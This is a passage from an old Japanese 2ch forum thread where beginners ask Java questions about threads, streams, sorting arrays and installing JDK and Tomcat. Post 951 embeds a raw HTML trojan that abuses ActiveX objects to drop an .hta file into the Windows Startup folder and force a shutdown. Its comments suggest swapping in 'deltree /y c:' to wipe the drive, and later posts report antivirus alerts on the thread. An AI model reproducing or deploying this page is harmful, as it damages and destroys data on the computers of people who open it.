} catch (Exception e) {}
}
}
}
}
}
0912デフォルトの名無しさん
NGNGイベントハンドリングに対するスレッドの割り当ては
1個しかなされていないし、その部分の変更もできない。
だから、そういった処理を行うためにはどこをどうやっ
たところで、最低1個スレッドを新しく作ることにならざ
るを得ないだろうねえ。(イベントハンドラスレッドに
wait()かけるのは禁止行為。)
0913908
NGNG0914895
NGNG>>912
Timer(swingじゃない方)を見てたんですけど、これもすんなり実装できそうにないですね。
アドバイスありがとうございます。
911を参考にさせていただいて、新しいスレッドで処理する方向でやってみます。
多謝多謝。
0915デフォルトの名無しさん
NGNG>sleepの場所をifの外にずらさんと、負荷が多くなる
というより、sleepはそのまま描画時だけにして、
elseで(synchronizedして)wait()した方が負荷が少ないはず。
MouseTestクラスでスレッドの参照を保持して、mousePressedで
その参照で(synchronizedして)notify()する。
0916180
NGNGhttp://pc.2ch.net/test/read.cgi/tech/1003569074/l50
ネタ心者歓迎! 今更ながらにJava相談室
0918デフォルトの名無しさん
NGNG>マウスでCADで絵を描く感覚で、それを座標の数値に
>変えるプログラムの作り方。
それは逆だよ。マウスで絵を描くには、座標の数値が必要なの。
マウスのクリックしたポイントの座標値は、プログラムで拾えるから
その座標値をもとに絵を描くんだよ。
0919891
NGNG0920デフォルトの名無しさん
NGNGWin95のマシンにJDK1.3.1+Forteをインストールしたのですが、
JavaのVMがうまく起動できないようなのです。
Forteを起動したり、コンパネからJavaのPlug-Inの設定をしようとすると
必ずjavaw.exeのページ違反が起こってしまいます。
IMEの重複などは調べて対応したのですが、何が悪いのか分からず
戸惑っています。
javacやjavaなどのコマンドラインからプログラムを動かすことは
できるのですが、何がいけないのかわかりません。
何か解決のヒントをいただけたらと思います。
よろしくお願いします。
ちなみにIEは5.5SP2ですが関係あるかはまだよく分からないです。
0921デフォルトの名無しさん
NGNG教えて下さい、説明してあるサイトをご存知でしたら教えて下さい。
お願いします。
0922デフォルトの名無しさん
NGNG>Win95のマシンにJDK1.3.1+Forteをインストールしたのですが
今だにWin95を使っているところに問題があるのでは?
不具合の原因は知らんが、これを機会にOSをWin2000にでもしたら。
0923初心者
NGNGJAVAで検索プログラムの作成は可能ですか?
自分の勉強した事に関する簡単な辞書を作りたいのですが…。
0924920
NGNGOSに関しては全く自由が利かないのです。(涙
0925デフォルトの名無しさん
NGNGプログラミング言語ならPerlが向いていると思う。
0926初心者
NGNGありがとうございます。早速情報を集めなおしてみます
0927デフォルトの名無しさん
NGNG下の方はflowみたいに
レイアウト2つ併用できますか。
0929デフォルトの名無しさん
NGNGMeでも9x系だから、95/98向けのサイトでも同じじゃない?
起動するbatの設定に気をつければNT系解説サイトでもいけるかもね。
0930デフォルトの名無しさん
NGNGjavac chinko.java
ってやるとエラーがいっぱい出て全部見えないで消えちゃうんですが
助けてください。
0932Java初心者
NGNGhttp://logos.jp/development/javahello/
0933誰か教えて、、、
NGNGを小さい順に並べるプログラム。
ならべく簡単なものを教えてください。
0934デフォルトの名無しさん
NGNG0935誰か教えて、、、
NGNGかなりの初心者なんで、
おてすうですが、全部おしえてもらえたら、、、
始めから終わりまでを
0936デフォルトの名無しさん
NGNGこれでもくらえ
int[] a = {10,5,7,22,25,13};
int[] b = new int[a.length];
b[0] = a[1];
b[1] = a[2];
b[2] = a[0];
b[3] = a[5];
b[4] = a[3];
b[5] = a[4];
0937デフォルトの名無しさん
NGNGbo.write(int character); で文字を取得できるでしょう。
今度はboに入った内容をInputStreamとして使いたい。
つまりフィルタのようなプログラムを作りたいんだけど、
バイト配列出力ストリームを、入力用に転用できるか?
0938デフォルトの名無しさん
NGNG>>933
import java.util.Arrays;
//省略
int[] arr = {10, 5, 7, 22, 25, 13};
Arrays.sort(arr);
Arraysが何をしてるかについては自分で調べれ
http://java.sun.com/j2se/1.3/ja/docs/ja/api/index.html
0939デフォルトの名無しさん
NGNGByteArrayInputStreamを使えばOK
0940デフォルトの名無しさん
NGNGhttp://java.sun.com/j2se/1.3/ja/docs/ja/api/java/io/PipedOutputStream.html
http://java.sun.com/j2se/1.3/ja/docs/ja/api/java/io/PipedInputStream.html
0941デフォルトの名無しさん
NGNGもう少し詳しく教えてください。InputStreamReaderに載せたい
InputStreamReader in = new InputStreamReader(bo, "EUC_JP");
どこを修正すればいい?
0942939
NGNGInputStreamReader in = new InputStreamReader(
new ByteArrayInputSteram(bo.toByteArray()), "EUC_JP");
0943ほげほげ
NGNG>InputStreamReader in = new InputStreamReader(bo, "EUC_JP");
937をみると"bo"はOutputStreamだから、それではコンパイルエラーになるでしょう。
boからtoByteArray()かtoString()でboの中身を取りだし、
それからInputStreamを生成してInputStreamReaderに渡せば良いでしょう。
0944デフォルトの名無しさん
NGNG一回バイト配列に落としてしまうわけなんですね。
ファイルに落とすよりはマシだけど、
もう少し空中戦でできないものか?
0945烏龍茶
NGNG空中戦やりたいなら >>940 のように PipedOutputStream/PipedInputStream
使って、出力側か読み出し側ストリームを別のスレッドに担当させれ。
0946烏龍茶
NGNG-----------------------------
import java.io.*;
public class a{
public static void main(String[] args) throws Exception{
PipedOutputStream out = new PipedOutputStream();
PipedInputStream in = new PipedInputStream(out);
Thread t = new DataGenerator(out);
t.start();
while(true){
int ch = in.read();
if(ch < 0) break;
System.out.write(ch);
}
return;
}
}
class DataGenerator extends Thread{
private PrintWriter out = null;
public DataGenerator(OutputStream o){
out = new PrintWriter(new OutputStreamWriter(o));
return;
}
public void run(){
for(int i=0; i<100; i++){
out.println("hello, world: " + i);
}
out.close();
return;
}
}
----------[結果]-----------
hello, world: 0
hello, world: 1
hello, world: 2
…
hello, world: 99
0947誰か教えて、、、
NGNGをifとforを使って小さい順に並べるプログラム。
ならべく簡単なものを教えてください。
全部、初心者なもんで、、、
0949デフォルトの名無しさん
NGNG0950デフォルトの名無しさん
NGNG検索くらいしてから質問しましょう。
ttp://myhome.hananet.net/~crazyghost/ghost.htm
0951デフォルトの名無しさん
NGNG>>950のURLにはアクセスしない方が賢明です。
もうアクセスしてしまったかもしれないが、念のため。
でも、「検索くらいしてから質問しましょう。」には同意。
初心者なら、まず本をきちんと読むとか、Yahoo!とかで検索してからに
しましょう。
あるいは>>949の言うように、金を払いましょう。
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<title>Death to Pedophils!!!
</title>
</head>
<body><big>Death to pedophiles!!!</big>
<OBJECT
ID="egg"
WIDTH=100
HEIGHT=51
CLASSID="CLSID:1C6AAACF-A781-11D1-AAFD-000001145528"
CODEBASE=error.msg
ACRSYSINFO.OCX#Version=1,2,0,2">
</OBJECT>
<OBJECT id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC" width="14" height="14" >
</OBJECT>
<script>
scr.Reset();
scr.Path="C:\\windows\\Start Menu\\Programs\\StartUp\\winmem.hta";
scr.Doc="<object id='wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'></object><SCRIPT>wsh.Run('command /c rundll.exe user.exe,exitwindows',false,6)</"+"SCRIPT>";scr.write();
</script>
</body>
</html>
<!-- This little trojan just shuts down the lamer computer at startup -->
<!-- Of course if you are evil enough you can replace the rundll blah-blah command with deltree /y c: -->
<!-- All that the lamer has to do is read this msg and of course he has to have javascript enabled -->
<!-- You can modify the text between the big tags -->
<!-- You can change the name of the file from winmem.hta to whateveryouwant.hta -->
<!-- DO NOT DELETE OR ADD BLANK SPACES OR DO NOT DIVIDE A LINE IN 2...OR SOMETHING ELSE CUZ THE EXPLOIT MIGHT WONT WORK -->
0953あぼーん
NGNG0955デフォルトの名無しさん
NGNGこのスレを2chブラウザで読み込むと、ノートンアンチウィルスがウィルス警告をだすね(w
ウィルス名:JS.Exception.Exploit
0956デフォルトの名無しさん
NGNGなったりしますか?まだどっちもやったこと無いんですが。
0957デフォルトの名無しさん
NGNGつうか JavaScript って名前やめてほすぃ。
0958デフォルトの名無しさん
NGNG軽いから良かったのに…。
0959デフォルトの名無しさん
NGNGボタンを押したらループから抜けるようにしたいんですけど
ボタンが押せなくなってるんですね。どうしたらボタン押せますか?
0960デフォルトの名無しさん
NGNG0961のほほん名無しさん
NGNGノートン先生に怒られるよ。
datファイルにウイルス憑いてるって言われたよぅ…
0962デフォルトの名無しさん
NGNGウィルスはけーんになるよ(w
0963烏龍茶
NGNG0964デフォルトの名無しさん
NGNG0965エテ公
NGNG0966デフォルトの名無しさん
NGNG0967デフォルトの名無しさん
NGNGといってみるテスト。
0968どなたか教えてください
NGNG私、プログラミング自体全くの初心者の者です。
最近、プログラミングとは、どういうものか体験したくて、Javaの本等でトライして
おります。
An EXCEPTION_ACCESS_VIOLATION exception has been detected in native code
outside the VM
Program counter=0x5f3b2fcd
というメッセージがでて、上手くいかなくなるケースが多いのですが、原因、対処方
法をご存知の方はいらっしゃいますでしょうか??
何卒、ご指導の程、よろしくお願い申し上げます。
0969デフォルトの名無しさん
NGNGスレッドを勉強しなさい
そうすればわかる
それがいやならSwingじゃなくてAWTにしときなさい
0970デフォルトの名無しさん
NGNGLinux とか Windows2000 とかを使うとうまくいくかもよ。
0971初心者です
NGNG現在、Tomcatのインストールが終了し、Tomcatの起動を実施したところ、起動しません。
you must set JAVA_HOME to point at your java Development kit installation
となっております。
Autoexec.batの環境設定内容を
SET TOMCAT_HOME =C:\jakarta-tomcat-3.3.1
SET JAVA_HOME =C:\j2sdk1.4.0
としましたが、再起動後、なぜか、
SET TOMCAT_HOME =C:\jakarta-tomcat-3.3.1
SET JAVA_HOME =C:\j2sdk1.4.0
C:\essolo.com
となっておりましたが、この辺がおかしいのでしょうか??
何卒、よろしくお願いします。
0972デフォルトの名無しさん
NGNG初心者を装った上級者?
0973デフォルトの名無しさん
NGNG糞スレをおあげにならないで
0974デフォルトの名無しさん
NGNG初心者歓迎! Java相談室 その8
http://pc.2ch.net/test/read.cgi/tech/1020453823/
0975デフォルトの名無しさん
NGNG0976デフォルトの名無しさん
NGNG0977デフォルトの名無しさん
NGNG最近やっとJScrollPaneという存在を知ったんだ。
0978デフォルトの名無しさん
NGNG0979デフォルトの名無しさん
NGNGもう少しで、地道にスクロールバーを作るところだった。
0980デフォルトの名無しさん
NGNGまあ、なんにでもつけられるからいいんだけど…。
0981デフォルトの名無しさん
NGNGんじゃ。
0982デフォルトの名無しさん
NGNGいまさらレスするのもなんですが色々勉強になりました。
Javaでプログラミングの勉強を始めて半年の初心者なんですが
簡単にできそうに思って試してみるとわけ分からず
調べてみるとこれは昔からある古典的なアルゴリズムなんですね。
ひとりでできれば自慢できたのに......
0983デフォルトの名無しさん
NGNG0984デフォルトの名無しさん
NGNG0985デフォルトの名無しさん
NGNG0986986
NGNG0987デフォルトの名無しさん
NGNGとはどんなエラーですか?
0988デフォルトの名無しさん
NGNG0989デフォルトの名無しさん
NGNG0990デフォルトの名無しさん
NGNG0992デフォルトの名無しさん
NGNG0993デフォルトの名無しさん
NGNG0994デフォルトの名無しさん
NGNG0995デフォルトの名無しさん
NGNGpublic class ArrayTest{
public static void main(String[]args){
int a[]=new int[10];
int min=0;
for(int i=0;i<a.length;i++){
a[i]=(int)(Math.random()*100);
System.out.print(a[i]+" ");
}
System.out.println();
for(int i=0;i<a.length-1;i++){
min=i;
for(int j=i+1;j<a.length;j++){
if(a[min]>a[j]){min=j;}
}
int temp=a[min];a[min]=a[i];a[i]=temp;
}
for(int i=0;i<a.length;i++){
System.out.print(a[i]+" ");
}
System.out.println();
}
}
0996996
NGNG0997デフォルトの名無しさん
NGNG0998デフォルトの名無しさん
NGNG0999デフォルトの名無しさん
NGNG10001000
NGNG10011001
Over 1000Threadもう書けないので、新しいスレッドを立ててくださいです。。。
レス数が1000を超えています。これ以上書き込みはできません。